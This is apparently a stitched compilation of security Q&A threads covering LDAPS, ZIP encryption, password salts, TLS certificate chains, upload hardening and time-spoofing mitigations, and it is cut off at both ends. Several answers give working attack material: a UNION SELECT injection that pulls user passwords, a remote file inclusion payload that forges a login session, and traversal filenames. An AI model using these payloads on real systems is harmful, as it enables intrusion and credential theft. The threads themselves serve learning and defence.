This solution needs knowledge of some scripting language for grabbing the tokens. And for generating user_pass.txt you can use a simple select on mysql database using cross join.

By using the Pitchfork mode you are make sure that you use the token only once and avoid requests getting rejected due to reuse of token.


Safe to expose Active Directory via LDAPS externally? We currently access Active Directory via LDAPS internally for authentication and user data retrieval.  Is it common,  or safe,  to expose this publicly over LDAPs?

Addendum 1:

Our business case,  our Cloud based remote hosted web-application needs to authenticate end users with their local Active Directory.

Assuming that the LDAPS server does not have security holes, exposing it to the wide Internet should be no more risky (and no less) than exposing a HTTPS Web server. With LDAPS (SSL outside, traditionally on port 636, LDAP protocol in it), the authentication requested by the server will be performed under the protection of SSL, so that's fine (provided that authentication passwords are strong, as usual).

... with one caveat nonetheless. A big part of HTTPS security is that the browser, i.e. the client, makes sure that the server's certificate is correct: verification of all signatures with regards to a set of trust anchors; revocation status checks; verification that the intended server name really appears where it should in the server's certificate. If you access the LDAPS server through some software, then that software should apply the same kind of verifications; but I doubt most LDAPS clients are that thorough.


iTunes Account Joined Family Group Without Permission A few weeks ago now I received an email that someone (not me) had made some in-game purchases on an iTunes account. I logged into my iTunes account and saw the transactions and that my account was some how joined to a family group account. Upon further investigation, the transactions were made using a different credit card that wasn't mine as they never showed up on my credit card statement (and the last 4 digits weren't mine). After an hour on the phone with Apple, I was able to get my account detached from the family group.

According to the Apple support, a child would need to accept an invitation to join a family group. I received no invite so the attacker was somehow able to circumvent that.

The account it was linked to seemed to be fake. The contact information was somewhat random. The name was sger erhs and address was rewahgewr. The province and city and postal code was where I live (although the postal code was not exactly the same as mine). After talking to a friend, I found out the in-game purchases were for a game that can only be played in China so that is probably where the attacker lives.

Since no purchases were made using my credit card and they didn't gain direct access to my account, what was the attackers intent here? Did the attacker get anything out of this? Besides changing my password, is there something else I be doing to be secure?

This is a really strange one, never seen such a thing happen myself. It's hard to say what his intentions would've been, one thing that springs to mind is if the card he used was stolen (fraud) I guess by joining it to "group" he could make it appear that he didn't do it? It's a longshot of an answer I'm afraid but that is literally the only thing that comes to my head.

In terms of did he get anything - IF he was doing it for the reason I suggested I guess the actions could potentially come back to you, but as I said it's a bit of a longshot.

I don't think there is much else you can do other than changing your password and he didn't get access to the account anyway so it seems he really didn't achieve anything.

I'd be interested to know how he could circumvent the acceptation that's interesting I've no idea how though unfortunately.

Hope this answer helps... I would've put it in a comment but I can't.


What the risks of rooting your Android? Besides your warranty getting voided, what potential security risks are there with rooting your Android?

Depends on what you do once it's rooted. Some phones such as HTC make it easy for developers to root them. Risks depend on your carefulness. Don't delete system files.

Security - more security benefits than risks if you know what you're doing.


How does Algolia's virtual API keys work? Algolia allows you to generate virtual/secured API keys from another parent API key but without a call to their servers.

A virtual key thus generated on the server side with a defined "scope" (like a pre-defined user filter), can be exposed on the JS client and guarantees that API calls made using that virtual key are restricted to the scope defined when the virtual key was generated. It's easy to create 1 virtual key for every user without making requests to Algolia and ensures that each key is unique to a user.

Here's the Python implementation. I see that they are essentially creating HMAC hash with the parent key and pre-defined query parameters (the scope), and then base64 encoding it again with the raw query parameter string.

What I don't understand

When an API call is made using this virtual key, how will Algolia be able to verify that the request is valid? Are they going to iterate all existing API keys, regenerate the same HMAC+base64 string and compare with the key sent?

Is there a better way to achieve this?

I think the trick here is that your application is referred to a small count of keys, therefore the server will quickly iterate over all keys, also server may store some cache of such computations, because random nonce is not used in the algorithm.

Let's see the way to initialize the Algolia search client:

client = SearchClient.create('YourApplicationID', 'YourAPIKey')

Their algorithm to generate a "secured API key" from the "parent key" is the following:

securedApiKey = BASE64(HMAC[parentApiKey + query params] + query params)

Note, that query params are concatenated to HMAC value as a plaintext. So the algorithm on the server side most probably looks like this:

Step 1: Select keys of 'YourApplicationID' only as "parent keys".
Step 2: retrieve HMAC and query parameters from BASE64 of securedApiKey.
Step 3: HMAC(adminApiKey, query params) == secureApiKey's HMAC?
Step 4: HMAC(searchApiKey, query params) == secureApiKey's HMAC?
Step 5: Try another key.
Step 6: Select the proper key, or else - error.

Once the proper parent key is found, HMAC is calculated, this information could be stored, so the next request is narrowed down to a memcmp instead of HMAC * count of keys.

I don't see another way to correlate different keys in this scheme. Please, correct me, if I'm missing something.


Is my IP address leaked when I send messages on Protonmail? When I send a message on protonmail, does my IP address show up in the header or any other place? Will I need a VPN to be completely anonymous?

No. No user IP information is included in the message, ever. Source: I work for ProtonMail and am deeply familiar with this code.


Password protected zip opened in notepad I have two password protected zip(COmpression method: normal) file with the same content(aaa.txt(blank notepad)) and I opened the zips and this came up. First one's password is: abcd

PK
       Rd¦D              aaa.txtóH¼”„.‚ûÄFPK           PK
       Rd¦D            $               aaa.txt
         XÐ|ähÏXÐ|ähÏXÐ|ähÏPK      Y   A

and the other one with the password: abcd123

PK
       Rd¦D              aaa.txtÐBk¤Í"ã§GÞIÕPK           PK
       Rd¦D            $               aaa.txt
         XÐ|ähÏXÐ|ähÏXÐ|ähÏPK      Y   A

Does this óH¼”„.‚ûÄFPK mean abcd and ÐBk¤Í"ã§GÞIÕPK mean abcd123?

I need to know if this is possible because I have a password protected zip file with all my high school pictures there and i forgot the password. I can't even use those software because they always take too much days. Can I convert this texts to the password?

First, there's no standard encoding for non-ASCII letters and several characters are not printable.  At the very least you need a hex editor to view the information there.  If you want to decipher the data format consult the APPNOTE.TXT.

E.g., if I simply make a zip file of a blank file named aaa.zip and encrypt with password abcd and print the file in ISO-8859-1 encoding, I get:

$ cat new.zip
PK
        )¦D
           aaa.txtUT    khS{mhSux
                                  õÊuPfC³[é±
                                            PK
        )¦D
           ¤aaa.txtUTkhSux
                           õPKM

If I actually print in hexeditor:

$ objdump -C new.zip
00000000  50 4b 03 04 0a 00 09 00  00 00 29 07 a6 44 00 00  |PK........)..D..|
00000010  00 00 0c 00 00 00 00 00  00 00 07 00 1c 00 61 61  |..............aa|
00000020  61 2e 74 78 74 55 54 09  00 03 ad 6b 68 53 7b 6d  |a.txtUT....khS{m|
00000030  68 53 75 78 0b 00 01 04  f5 01 00 00 04 14 00 00  |hSux............|
00000040  00 ca 75 50 66 43 b3 5b  e9 ad b1 97 9d 50 4b 07  |..uPfC.[.....PK.|
00000050  08 00 00 00 00 0c 00 00  00 00 00 00 00 50 4b 01  |.............PK.|
00000060  02 1e 03 0a 00 09 00 00  00 29 07 a6 44 00 00 00  |.........)..D...|
00000070  00 0c 00 00 00 00 00 00  00 07 00 18 00 00 00 00  |................|
00000080  00 00 00 00 00 a4 81 00  00 00 00 61 61 61 2e 74  |...........aaa.t|
00000090  78 74 55 54 05 00 03 ad  6b 68 53 75 78 0b 00 01  |xtUT....khSux...|
000000a0  04 f5 01 00 00 04 14 00  00 00 50 4b 05 06 00 00  |..........PK....|
000000b0  00 00 01 00 01 00 4d 00  00 00 5d 00 00 00 00 00  |......M...].....|

The left column is the line number in hex, the middle columns contain the data with 16 bytes to a row (one byte is two hex characters), and the right column is the ASCII encoding of the corresponding ASCII character when its printable -- note many are not printable and are represented by a .).  As you can see there's a lot of characters that don't appear when you print them in ISO-8859-1.

Second, even though PKZIP encryption is quite weak it still introduces some randomness.  E.g., if I delete the zip file and reencrypt the same data into a new zip file of the same name with the same password, I get:

$ hexdump -C new.zip
00000000  50 4b 03 04 0a 00 09 00  00 00 29 07 a6 44 00 00  |PK........)..D..|
00000010  00 00 0c 00 00 00 00 00  00 00 07 00 1c 00 61 61  |..............aa|
00000020  61 2e 74 78 74 55 54 09  00 03 ad 6b 68 53 56 6f  |a.txtUT....khSVo|
00000030  68 53 75 78 0b 00 01 04  f5 01 00 00 04 14 00 00  |hSux............|
00000040  00 e4 1b 8a 36 3b 3e a9  99 1b 5b 2d 38 50 4b 07  |....6;>...[-8PK.|
00000050  08 00 00 00 00 0c 00 00  00 00 00 00 00 50 4b 01  |.............PK.|
00000060  02 1e 03 0a 00 09 00 00  00 29 07 a6 44 00 00 00  |.........)..D...|
00000070  00 0c 00 00 00 00 00 00  00 07 00 18 00 00 00 00  |................|
00000080  00 00 00 00 00 a4 81 00  00 00 00 61 61 61 2e 74  |...........aaa.t|
00000090  78 74 55 54 05 00 03 ad  6b 68 53 75 78 0b 00 01  |xtUT....khSux...|
000000a0  04 f5 01 00 00 04 14 00  00 00 50 4b 05 06 00 00  |..........PK....|
000000b0  00 00 01 00 01 00 4d 00  00 00 5d 00 00 00 00 00  |......M...].....|

Note the line with 00000020 and 00000040 are different.


Security behind the windows 8 eye I use the Windows 8 operating system. Whenever I navigate to the login page of Internet Explorer 10, or even the login screen of the operating system, I see an eye symbol at the end of the password input.

There is always an eye symbol in password inputs. When I press the eye symbol, the password is visible in plain text.

What’s the security of this eye? Is this a vulnerability in Windows?

You are far too paranoid.

The "eye" is simply what it is, a way for you to unmask the password in the password field. It is good from a security perspective to mask passwords as you are typing it to protect against shoulder surfers and the like. However, it can be annoying if you accidentally mistype passwords and have no way of verifying which character you got wrong especially when the password is 16-30 characters long as is common for network keys. Windows 8 simply gives you the option to unmask the password for your own convenience if you are sure no one can shoulder surf you.


In SSL server handshake, does server also send CA certificate In the TCP SSL sever handshake, does the server also send CA certificates? Does the server need to send all intermediate CA certificates in the Server Hello?

The server does not send any certificate in the ServerHello message; it sends certificates in the aptly-named Certificate message.

As indicated in the standard, the server is supposed to send a complete, ordered chain of certificate, starting with the server's certificate proper, then a certificate for the intermediate CA that issued it, then a certificate for the intermediate CA that issued the previous intermediate CA certificate, and so on. At the end of the chain, the server has the option to include or not include the root CA certificate; if the chain is to be of any use to the client, then the client must already know the root, and thus does not need a new copy of it. The relevant text in the standard is:

   certificate_list
      This is a sequence (chain) of certificates.  The sender's
      certificate MUST come first in the list.  Each following
      certificate MUST directly certify the one preceding it.  Because
      certificate validation requires that root keys be distributed
      independently, the self-signed certificate that specifies the root
      certificate authority MAY be omitted from the chain, under the
      assumption that the remote end must already possess it in order to
      validate it in any case.

which is clear enough.

Note that, in all generality, the certificate chain is not unique. A given server certificate could be amenable to validation through several, possibly many certificate chains. This naturally happens upon intermediate CA certificate renewal (because there will be a time when the new CA certificate is valid and the old one is still valid, so if they use the same key then they will be interchangeable). In the case of cross-certification between distinct CA, the several chains for a given server certificate may even lead to distinct root CA. The consequence is that while the SSL/TLS server is supposed to send a "valid chain", that chain may not necessarily be the one that the client would have preferred.

In general, SSL/TLS clients will try to validate the server certificate chain as received from the server. If that chain does not please the client, then the client's behaviour depends on the implementation: some clients simply give up; others (especially Windows/Internet Explorer) will try to build another chain using locally known intermediate CA and also downloading certificates from URL found in other certificates (the "authority information access" extension).


Reason to generate encryption keypair server side rather than on device? I want my native applications (android/ios) to have a keypair (RSA or ECIES) so that certain data on requests to my API can be encrypted. I want each client to have a unique keypair. The device will register that keypair with my API and it will be locked down to the unique fingerprint of that device.

I have two options for key generation. The first option is to generate key pairs server side signed with some intermediate cert and deliver these to the application. All API calls are TLS encrypted.

The second option would be to have the app generate key pairs locally. This means the private key does not need to be transmitted, but these keys will be 'self-signed'.

Since my use case is largely to lock down API requests to registered devices, is there any security benefit to generating key pairs server side?

You absolutely don't need to generate a key pair on the server-side. In fact, this is the last thing you want to do.

Generating the keys on the mobile side means that the private key NEVER leaves the device and only the public key gets shared with the server, which minimizes the exposure of the private key.

Public key becomes a fingerprint of the device as you requested.


C# malicious file upload to server I was joking around with some file-uploads to the server, for the site I was working on. Now it seems to me that we have an enormous security-risk.

They don't block any file extensions that are executable and the files are just uploaded to the D:\ Drive. It seems to me this is not really secure.

How can I convince my co-workers we need to adress this problem immediately, and in what ways can we be more secure against malicious file uploading.

The ones I've heard of are:

Save into App_Data (Don't really knwo why)
Block executable extensions

What else must we be more carefull about?

If the files are upload only and there is no way to execute them then this is not a high risk vulnerability. It is good practice to also set the Content-Disposition header, as this will force a download and prevent XSS vulnerabilities if HTML or SVG is uploaded. See here for a demo (click this HTML in the second paragraph).
However, being able to upload malware to a system is never a good thing.
The App_Data folder is being suggested as this isn't readable through an ASP.NET serving IIS server.
e.g. example.com/App_Data/virus.bat will return an HTTP 403 Forbidden. Therefore it is a good place to store files as they are not directly publically executable or viewable.
To mitigate the malware threat to server administrators and those with access to the file system, you should virus scan all uploaded files and only allow a whitelist of safe extensions to be uploaded. e.g. .txt, .gif, .jpg. Do not rely on MIME types if the files are saved with the original names as the target system will take extension to determine how to handle them.
Blacklisting is difficult due to the number of executable extensions, which is always changing as new file types are designed.
Another vulnerability that may affect availability or integrity of the application is if other users can overwrite already existing files. Ensure that this is not the case and users cannot do anything malicious using this vector.
Also you should ensure a user cannot upload a file called c:\autoexec.bat, ..\index.aspx or the like to cause your system to write the file somewhere else other than intended. This is known as directory traversal and some other possible character sequences are here.
Finally, for more info check out OWASP.


Client authentication flaw in old Netscape SSL protocol Below is a screenshot from the paper "Prudent Engineering Practice for Cryptographic Protocols" by Martin Abadi and Roger Needham. I can't see what's wrong with the protocol and what the fix achieves. Help please? It's driving me crazy.

Let C be the attacker. C runs another server, under its own name (C), with its own public key Kc. Occasionally, A connects to C (knowingly, but not knowing that C is Evil, or believing that the evilness of C won't extend beyond C itself). Attack goes thus:

Client A connects to C and sends {Kac}Kc to C.
Immediately, C connects to server B and claims to be A. C generates a random Kcb and sends {Kcb}Kb to B.
B responds to C with {Nb}Kcb to C. Since C knows Kcb, C can decrypt that and obtains Nb.
A is still waiting. C sends to A the value {Nb}Kac. That's the tricky point: C sends to A as challenge the same value as the one sent by B to C.
A responds with {CA, {Nb}Ka-1}Kac, as per the protocol. Since C knows Kac, C can decrypt that.
C sends {CA, {Nb}Ka-1}Kcb to B.

And, voila! C has successfully executed the protocol with B, sending a proper certificate and signature from A, computed over the challenge value that B sent to C. C is thus authenticated as A with regards to server B. The genuine A noticed nothing, and is not aware that anything was done related to server B at all.

The correction described in the article fixes the issue, which is that in the original protocol, the signature from A is retargetable: in the attack, A signs a challenge received from server C, but the signature also works as a response for the same challenge from server B. Including B's name in what is signed prevents the manipulation: now, a response to a challenge from a given server cannot be used as response to the same challenge from another, distinct server.

There are other similar attacks which also force the inclusion of A's name in what is signed. In SSL/TLS as it is currently defined, the signature from the client (in the ClientKeyExchange message) is computed over a hash of all previous handshake messages (sent and received), which includes both the client and server names (as part of their respective Certificate messages).


Secret sharing scheme for disaster recovery with asymmetric key? I want to backup many secrets using a secret sharing scheme, to make sure my family can access those secrets in case of my death. I need a way to keep adding secrets (without distributing new shares).

I can encrypt all the data with a symmetric cipher and then distribute that passphrase, but then I have two options, but then to add new secrets I need to have a copy of the key (adding an attack vector I don't like).

Is there any way to use a secret sharing scheme keeping a public key to encrypt more data (using that key), while sharing the private key?

Your approach seems backwards. I would think you would encrypt everything using your public key, keeping your private key private. You would ensure a copy of your private key is stored somewhere your family will find it when needed, with instructions on how to decrypt the various encrypted secrets.

I would print the passphrase and private key retrieval information on paper, and store that securely with other important documents that will be examined after my death. Anything online is fraught.


Is snail mail or HTTPS webmail safer for sensitive information? I've been curious about the safety of e-mail lately. As far as I know, the most vulnerable point of communication is the local network you send your mail from. That is unless you're trying to keep things from a government, which could use laws, lots of resources and possibly advanced SSL spoofing techniques. But snail mail is insecure as well.

That said, would it be safer to send sensitive data to an institution through snail mail or using HTTPS webmail? I realize that sending your data directly to the institution's HTTPS site is safer than both of these things, but lets restrict this question to snail mail and common HTTPS-enabled webmail services. The e-mail will have to travel over the internet; in other words it's not a Hotmail-to-Hotmail message.

I'm wondering specifically about how likely it is that your message will be intercepted and read by someone else.

In terms of how likely it is that your message will be intercepted, webmail is definitely more vulnerable. Not for any special reason necessarily, just that the number of potential adversaries is higher. It's difficult for a malicious person on the opposite side of the world to reach into your local post office and pluck your correspondence out, but it's not hard to spy on e-mail traffic if you know where it's originating.

In absolute terms, however, the chance of any single message being intercepted is low. I can't speak for the rest of the world, but the United States mail processes ~554 million mail pieces per day. It is unlikely that a random malicious person will randomly latch onto your message.

E-mail is rather more prolific. A 2010 estimate had world e-mail production at ~90 trillion per year. Cutting out 90 percent of that as spam still leaves ~9 trillion a year. Even allowing for a large percentage of that to be internal communication that never sees the Internet, that is a large number of messages to sift through.

In the end, you really can't be sure, however. Security is HARD, and once something is out of your physical control, it's gone.


How secure is it to keep the salt with the password hash? In Linux we have the salt just next to the password hash in the /etc/shadows file.

I always hear that salt value prevents hashed passwords from being cracked by brute force methods. But if somehow we get the shadow file we can inject the salt in the algorithm and still use a brute force method, right?

I'm not considering the time spent, just the general idea. I know that brute forcing a SHA256 or SHA512 hash will take forever.

Salt doesn't have to be secret. However, it MUST be unique for each password.
Consider this : if all your passwords are hashed with the same salt, then an attacker who gets access to your database "only" has to compute H(pwd+salt) for each possible pwd value and he gets all your passwords. If the salt is unique however, the same operation will only get him ONE password, the one associated with the salt he just tried.


Is SQL injection possible with LIMIT? A friend of mine built a web application that I'm testing for fun. I noticed that he allows a user to set the limit of a certain query, and that limit is not sanitized.

For example, I can choose any number or string I like as a limit. I realize that this is SQL injection, and I can easily inject SQL commands, but is it really possible to extract any data or do any damage with a LIMIT?

Example of the query:

SELECT * FROM messages WHERE unread = 1 LIMIT **USER INPUT HERE**

I understand that if the injection was in the WHERE clause I could've easily done a UNION SELECT to extract any information, but is that really possible if the user input was after the limit?

For more information, my friend is using the MySQL DBMS, so you can't really execute two queries such as:

SELECT * FROM messages WHERE unread = 1 LIMIT 10;DROP TABLE messages--

It is not possible.

You can make a UNION SELECT here. The only problem is to match the columns from messages, but you can guess those by adding columns until it fits:

SELECT * FROM messages WHERE unread = 1 LIMIT
    1 UNION SELECT mail,password,1,1,1 FROM users

Just keep adding ,1 until you get the correct column count. Also, you need to match the column type. Try null instead of 1.

If you can see MySQL errors that would help big time here. Otherwise you got a lot of trying.

Also see Testing for SQL Injection at owasp.org for some details.


Remotely included script cannot set session variables I'm trying to simulate a remote file inclusion attack on my local web server as part of a course I am taking. I got the idea of being able to "logging" in on a website I set up without really logging via the system, rather by just setting the appropriate session variables in a remote script and then including it in the code of my website. Now I got the script to be included and run on my website (I can echo strings etc.) but I cannot seem to set session variables using the remote script. Does anybody have any idea why?

Here is the code of the website so far:

index.php:

<?php session_start(); ?>
<!DOCTYPE html>

  <meta charset="UTF-8">
  <title>Document</title>

  <?php require("php/imageupload.php"); ?>

Logged in as: <?php echo $_SESSION['username']; ?>

imageupload.php:

<?php
  session_start();
  $file = $_GET["file"];
  require($file);
?>

hack.php (remote file):

<?php
  session_start();
  $_SESSION['username'] = "foo";
  echo "test";
?>

When I request http://localhost/index.php?file=http://127.0.0.1/hack.php I get the following response:

test

Logged in as:

The included file is actually executed on your server, not on the vulnerable server when including it (which in this case is the same server, but it's still wrong behavior).

What is included is actually the result of the PHP execution ("test" in this case).

What you want is to return a file that actually contains the code. So you could either transform the hack.php file into hack.txt, or simply adjust the code to echo the desired payload:

<?php
echo '<?php
  session_start();
  $_SESSION[\'username\'] = "foo";
  echo "test";
?>';


Privilege escalation writing /etc/passwd but without SUID permission on su This is not an exercise, there might be no solution.
We are producing a Docker image (based on CentOS) which is designed to be executed by a non-root user.
However, this user has write access to /etc/passwd because he is in "root" group. Here are /etc/passwd permissions:
-rw-rw-r-- 1 root root 692 Dec 16 14:35 /etc/passwd

This is a critical flaw and it is supposed to allow easy privilege escalation.
I can add a user into /etc/passwd.
But I cannot switch to this user, because su does not have SUID permission:
-rwxr-xr-x 1 root root 32128 Sep 30 17:46 /bin/su

As a result, the user does not have enough permissions for a successful su execution:
su: cannot set groups: Operation not permitted

As I understood, on most Linux, su command is configured with SUID permission. That means that whoever executes su, it is considered to be executed by root user.
Another alternative might be to play with capabilities. I suppose that CAP_SETGID and CAP_SETUID are required and maybe some others. If su was configured with those capabilities the SUID permission might not be needed.
But in our Docker image, there are no capabilities on su.
So it seems that only root can execute su properly.
Also, sudo is not installed and no sshd/telnetd is running.
So how can I use the credentials added to /etc/passwd?
Curl is available if that can help.

On a standard Linux host (VM or server) if you have access to /etc/passwd or /etc/shadow then you can modify or add credentials to accounts, which would obviously be a serious problem (there's details on the consequences of allowing a modification to /etc/passwd in this answer
In a Docker container, usually the software which makes use of these files is not installed, so no Linux PAM, no SSHD, or other software which would make use of an authentication database.
Without that type of software being installed, there's not much you can do, as there are no programs which operate on those files.
Of course, if the application running in the container makes use of /etc/passwd then modifying it could have an impact, but that'll be situational depending on what the container does.


How could we provide certainty to users that education material on phishing, isn't phishing itself? This is a problem that has been bothering me somewhat.

I am able to run a phishing simulation campaign against users across the organisation. If the user clicks on a bad link they are directed and told that they have made a mistake and that they should not have clicked. They are then offered some guidance on what the correct actions should have been through a webpage.

This all sounds great, but how can assurance be given to users it isn't a sophisticated phishing attack?

I have thought about using existing phishing material internally used, and have the link point to the intranet - is there a better way?

You can try the following options:

Have someone trusted in the organization warn them that there will be a test that will target the organization.
This way if they see your message they know that it is a test and all is okay and it is not a sophisticated phishing scam.
Add your contact information regarding any questions and that way when they call you can explain to them the situation (You should place this in a visible place on the "You made a mistake" page so they can clearly see it).


Asymmetric Encryption for Multiple Recipients? Let's assume an arbitrary group of people who hold a key pair and who make their public key online accessible.

Let X, A, B and C be arbitrary people from that group.

Now X wants to encrypt a message once using A's, B's and C's public key so that only A, B and C will be able to decrypt the same ciphertext.

(Think of an encrypted FB/Diaspora where you would like to introduce asymmetric encryption but don't want to encrypt individually for each of your friends. And the content might be stored centralized - such that more people from the total user group have access to the data but shouldn't be able to decrypt it.)

Is that technically possible? If yes, does this asymmetric encryption method already have a name or known implementation?

In that case you generate a random symmetric key for each message and use that symmetric key to encrypt the message. Then you encrypt one copy of that symmetric key per recipient with the key of that recipient and attach these to the message. So the message will contain of:

symmetric key S encrypted with public key A
symmetric key S encrypted with public key B
symmetric key S encrypted with public key C
plaintext encrypted with symmetric key S

This method is usually referred to as "hybrid encryption" and it is very common because most symmetric encryption and decryption systems are far faster than most asymmetric ones. So encrypting just a symmetric key with the expensive asymmetric algorithm and then using that symmetric key for the bulk of the message has far better performance, even when there is only one recipient.

Another useful side-effect is that it also prevents replay attacks and known-plaintext attacks. When you send the same message to the same recipient multiple times, the cyphertext will always be completely different because the symmetric key will be different. So an eavesdropper can't tell if a message is identical to a previous one. A man-in-the-middle can also not replay a previous message because the recipient could become suspicious if the sender uses the same symmetric key twice.


Monitoring laptop activity while logged into school's Microsoft account I logged into my school-based Microsoft account on my personal laptop. But is it possible that somehow my school is monitoring my Google searches and other browsing history through the school Microsoft account? If my activity is being monitored by my school with the aid of the Microsoft account, does a VPN prevent it from happening?

Logging in to a microsoft portal on a personal laptop that has no remote control software installed does not permit monitoring or control of any other activities outside the realm of the microsoft products being used with or without a VPN in place.

If, however, you have remote control software installed on your computer, whether it's been pushed by microsoft products (e.g. intune), then anything the software is capable of becomes available to the controlling party, regardless of you being on a VPN.


Should a Web site be allowed to use a third party web service directly? Imagine I have a web site running on an IIS. The web site needs to get/send sensitive data from a 3rd party REST web service.

Is there any reason why a web site (server side, not client side) should not be allowed to consume a 3rd party web service directly, but a separate internal service that makes the call to the 3rd party web service?

  Web Site --> 3rd party party web service

or

  Web Site --> internal service --> 3rd party web service

I am very pleased to have stumbled upon this question as it is a common yet mostly wrongly handled situation.

My answer is there has to be an internal service to serve the purpose of consuming/feeding to a 3rd party service and my rationale is as below.

It helps me track all the occurrences of internal services catering to 3PEs. (assume one day after 1 year you've to find all the 3PEs and you've no clue where they are scattered throughout the code and what their names are, but if you have internal service doing the middlemen work you know exactly what to look for). External association auditing made easy.
If the service gets some issue at the 3rd party end, you've got a possible chance to achieve graceful failures.
You keep track of all the data the 3PEs gonna deliver/consume so you know exactly what comes in and goes out.
In very specific situations these sort of 3PEs need to be done after a Security Architecture review (ex. Banking domain) which involves review of supplier, service, data, privileges, and many more. Having an internal service removes the dependency of 3rd party code being trusted fully. (there is no trust in infosec, right?)

There is a drawback too though. Every time the external service modifies itself, you've to make relevant changes to your internal service accordingly. But that can be tolerated due to the advantages it brings in.

Last point, if you are aiming for PCI-DSS or any other audits you can always add up the report of your 3PEs and the way you handle them using internal services in your secure coding practices evidence list.

Hope this helps.


Is a 'remote' cookie replay attack possible? Once a cookie is stolen from the session of a legitimate user, can I perform a 'remote' cookie replay attack on that user?

I am successfully able to perform a cookie replay attack on the same system, but I want to try if the cookie replay attack is possible from an external system. Is this possible?

I'm not really sure what you exactly mean with "cookie replay attack" but I assume that you mean using a captured cookie by the attacker for session hijacking by reusing a captured session cookie.

If this is possible depends on which information the web application associates with the cookie. If it associates a browser fingerprinting or SSL session information with the cookie it might detect session hijacking when the attacker uses another browser. If it associates the IP address of the client with it it might detect if the cookie is used from another client IP address. If it does not associate any such or similar information with the cookie it will not be able to detect the session hijacking.


Mitigate Time Spoofing Attack Say Alice receives synchronized time from Tina the timekeeper. Say Ted spoofs a GPS signal, fooling Tina about the current time. Tina sends this fake time to Alice.

What can Alice do to avoid being too seriously fooled? Are there implementations that have implement such mitigations?

One approach might be to reject suggested times that vary too greatly compared to Alice's internal clock.

Edit:

I'm looking for mitigations assuming external time is compromised. No additional trustworthy external time sources.
Mitigation goal is to minimize or eliminate Alice's being deceived.
Attacker may try to change time all at once or over a longer time frame.

There is no single way to mitigate time spoofing attacks. However, getting time information from several sources and ensuring none of the sources too strongly disagree with each other is a start.
NTP
The Network Time Protocol, with the common version 3 specified in RFC 1305, is the most widely used and most well known method of getting time. It is an unauthenticated, unencrypted protocol which uses UDP, making spoofing and tampering quite easy. Typically, a user will poll the time from a pool of stratum 3 servers. Stratum refers to the number of servers the time has to go through after leaving the source, usually a machine which measures the state transitions of an atom. A single second is defined precisely as 9,192,631,770 transitions of the hyperfine ground state of a single cesium-133 atom at near absolute zero, and the radiation emissions that correspond to these state changes are what gives the reference clock its accuracy. There are four commonly used strata:

Stratum 3 (pool) servers are used by end-users and are accurate to within a fraction of a second.
Stratum 2 (secondary) servers are used only by applications that require higher accuracy.
Stratum 1 (primary) servers attach directly to the source, and are accurate to the microsecond.
Stratum 0 (reference) servers are the atomic clocks themselves, and are perfectly accurate.

Each stratum connects to lower strata, in order to avoid overloading the services closer to the source. Stratum 0 is not a regular networked server, and is connected directly to stratum 1 (e.g. through RS-232). Only select services that require extreme accuracy (for scientific experiments, for example) are allowed to connect to stratum 1. Stratum 2 servers may have specific policies for who can connect, while sometimes they may just politely ask you to not use them if not necessary. Stratum 3 servers can be used by anyone. There can be up to 15 strata, with the 16th meaning unsynchronized, but in practice, stratum 3 is the last. Every stratum other than stratum 0 is capable of synchronizing itself with the other strata of the same level to improve accuracy and reduce the issue of clock skew.

That's a lot of servers to trust. While a server that majorly disagrees with the others will be kicked out, that only happens if it occurs often enough. A targeted attack against a single user or a group of users can easily go unnoticed. Your NTP client may average out the result of the time given by all members of the pool you are using, or it may ignore the ones which seem insane. For this case, a single malicious NTP server is not a huge issue. However, as NTP is unauthenticated and unencrypted, it is not difficult for a single entity to give you a false value from all the servers you are using.
There is no way to avoid this issue completely. Using multiple NTP servers helps against naïve attacks and accidental misconfiguration. Routing NTP through a VPS or VPN may also raise the bar slightly, especially if you suspect that your adversary is not willing to hijack NTP for everyone and is unable to figure out which server is connecting to NTP on your behalf. There is a type of authenticated NTP defined in RFC 5906 for NTPv4, but very few NTP servers support it, and it is not simple to configure.
GPS
The way GPS works is by transmitting a periodic, perfectly synchronized signal (each GPS satellite has three stratum 1 sources). When one signal is received earlier or later than another, you will know that you are closer or farther from that satellite than from the other (because the speed of light is finite). By taking into account these relative time differences from multiple sources, it becomes possible to tell your position in relation to the satellites in orbit, and thus in relation to the Earth.

A GPS clock works by combining the time given by multiple orbital satellites. This time signal can be used to synchronize a clock, but unless you know your precise location, it can take some time of averaging the signals to get accurate time. A high-end, dedicated GPS-based clock can, when calibrated properly, be accurate to within a microsecond.
GPS spoofing is not particularly difficult, but is easy to detect. The GPS signal is, like NTP, unauthenticated and unencrypted. Three is no simple way to prevent this.
RCC
A Radio-Controlled Clock, or RCC, transmits a time code from a radio transmitter which is connected directly to a highly accurate clock source, such as a stratum 1 server. The frequencies used can be either longwave or shortwave, and vary between 25 KHz and 25 MHz. Devices marketed as having "atomic clocks" typically use RCC, as it is simple and requires little power to receive. They are highly accurate, providing precision within several microseconds.
Like GPS, they are highly vulnerable to spoofing.
TLS
TLS is Transport Layer Security, used for encrypting and authenticating communications over TCP.

This is an interesting way to keep time. The TLS 1.2 specification provides a field in the ClientHello requests which contains the current time, in seconds since the epoch. This is not always reliable, as many servers either have inaccurate or purely random values for the timestamp. TLS 1.3 plans to do away with this timestamp entirely, so this is not a long-term solution. From section 7.4.1.2 of the RFC:
Structure of this message:

The ClientHello message includes a random structure, which is used
later in the protocol.

   struct {
       uint32 gmt_unix_time;
       opaque random_bytes[28];
   } Random;

gmt_unix_time
   The current time and date in standard UNIX 32-bit format
   (seconds since the midnight starting Jan 1, 1970, UTC, ignoring
   leap seconds) according to the sender's internal clock.  Clocks
   are not required to be set correctly by the basic TLS protocol;
   higher-level or application protocols may define additional
   requirements.  Note that, for historical reasons, the data
   element is named using GMT, the predecessor of the current
   worldwide time base, UTC.

random_bytes
   28 bytes generated by a secure random number generator.

Because the first four bytes of the "random" field sent by the server contain the current time, a TLS handshake can be (ab)used for obtaining time from an authenticated source. This is what is done by the tlsdate program. In order to obtain accurate time, one can connect to multiple TLS servers and average the time. This is used by Tails. Tails has hardcoded three "pools" of TLS servers:

Pal, which contains websites that promote privacy like the EFF.
Neutral, which contains websites that are neither extra nice nor malicious, like Stack Exchange.
Foe, which contains websites which tend to be seen as privacy-invading, like Microsoft.

Tails queries one server from each pool and averages the results out, bailing if any one of them disagrees too strongly. The idea is that the pools have different enough affiliations that they are unlikely to collaborate in providing maliciously incorrect time values in their TLS timestamps. The specific reasoning for this setup is unknown (and seems a bit like homebrew security), but the idea itself of extracting time from the TLS handshake is fairly solid.
RTC
